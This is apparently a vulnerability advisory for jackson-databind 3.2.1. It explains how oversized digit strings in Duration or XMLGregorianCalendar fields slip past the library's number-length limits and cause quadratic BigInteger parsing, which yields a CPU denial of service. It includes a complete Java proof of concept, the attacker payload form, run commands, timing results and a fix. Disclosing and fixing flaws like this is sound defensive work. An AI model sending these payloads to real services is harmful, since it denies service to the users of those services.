CVE-2026-68497 — jackson-databind

Summary

jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details

StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:

protected Object _deserialize(String value, DeserializationContext ctxt) {
    switch (_kind) {
    case TYPE_DURATION:
        return _dataTypeFactory.newDuration(value);                 // attacker lexical string
    case TYPE_G_CALENDAR:
        Date d;
        try { d = _parseDate(value, ctxt); }
        catch (DatabindException e) {
            return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
        }
        return _gregorianFromDate(ctxt, d);
    }
    throw new IllegalStateException();
}

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location

• src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137 — newDuration(value) (TYPE_DURATION)
• src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147 — newXMLGregorianCalendar(value) (TYPE_G_CALENDAR fallback)
• Registration (default, no opt-in): src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46 (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration)
• Contrast — correct length-guard pattern already used elsewhere in the library: src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139

Proof of Concept

PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;

/**
 * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
 * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
 */
public class Vuln07_DurationDoS {
    public static class Cfg { public Duration ttl; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        int digits = Integer.getInteger("digits", 5_000_000);

        // Baseline small parse.
        long t0 = System.nanoTime();
        mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
        long tBase = System.nanoTime() - t0;
        System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");

        String big = "P" + "9".repeat(digits) + "Y";
        String json = "{\"ttl\":\"" + big + "\"}";
        System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
        long t1 = System.nanoTime();
        try {
            Cfg c = mapper.readValue(json, Cfg.class);
            long dt = System.nanoTime() - t1;
            System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
            System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
                    + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
        } catch (Throwable t) {
            long dt = System.nanoTime() - t1;
            System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
        }
    }
}

Minimal HTTP-shaped payload (what an attacker sends):

{ "ttl": "P99999999999999999999…9Y" }   // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g. { "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

# 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
#   If not already cached, fetch them once, e.g.:
#   mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1
#   (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

# 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java

# 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload):

Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability):

Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

1. In CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound), routing over-length input through ctxt.handleWeirdStringValue(...).
2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to DatatypeFactory.
3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must be length-limited at the transport layer.